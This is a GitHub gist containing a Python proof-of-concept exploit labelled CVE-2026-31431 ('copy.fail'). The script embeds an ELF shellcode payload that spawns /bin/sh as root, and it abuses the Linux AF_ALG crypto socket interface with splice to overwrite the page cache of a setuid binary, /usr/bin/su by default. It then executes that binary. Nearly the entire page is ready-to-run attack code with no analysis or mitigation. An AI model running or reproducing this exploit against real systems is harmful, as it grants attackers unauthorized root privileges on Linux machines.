Skip to content

Instantly share code, notes, and snippets.

@aparatext
Last active April 30, 2026 19:40
Show Gist options
  • Select an option

  • Save aparatext/aec8aeb929c4cc991b22c30da69c6a98 to your computer and use it in GitHub Desktop.

Select an option

Save aparatext/aec8aeb929c4cc991b22c30da69c6a98 to your computer and use it in GitHub Desktop.
copy.fail CVE-2026-31431 cleaned-up
#!/usr/bin/env python3
import os
import socket
import sys
PAYLOAD = (
b"\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00>\x00"
b"\x01\x00\x00\x00x\x00@\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00"
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x008\x00\x01\x00\x00"
b"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00"
b"\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00"
b"\x9e\x00\x00\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x00\x10"
b"\x00\x00\x00\x00\x00\x001\xc01\xff\xb0i\x0f\x05H\x8d=\x0f\x00\x00\x001"
b"\xf6j;X\x99\x0f\x051\xffj<X\x0f\x05/bin/sh\x00\x00\x00"
)
SOL_ALG = 279
def write_page_cache(fd, off, buf):
alg = socket.socket(38, 5, 0)
alg.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
alg.setsockopt(SOL_ALG, 1, bytes.fromhex("0800010000000010" + "0" * 64))
alg.setsockopt(SOL_ALG, 5, None, 4)
op, _ = alg.accept()
n = off + 4
op.sendmsg(
[b"A" * 4 + buf],
[
(SOL_ALG, 3, b"\x00" * 4),
(SOL_ALG, 2, b"\x10" + b"\x00" * 19),
(SOL_ALG, 4, b"\x08" + b"\x00" * 3),
],
32768,
)
pipe_r, pipe_w = os.pipe()
os.splice(fd, pipe_w, n, offset_src=0)
os.splice(pipe_r, op.fileno(), n)
try:
op.recv(8 + off)
except OSError:
pass
suid_bin = (sys.argv[1:2] or ["/usr/bin/su"])[0]
fd = os.open(suid_bin, 0)
for off in range(0, len(PAYLOAD), 4):
write_page_cache(fd, off, PAYLOAD[off : off + 4])
os.system(suid_bin)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment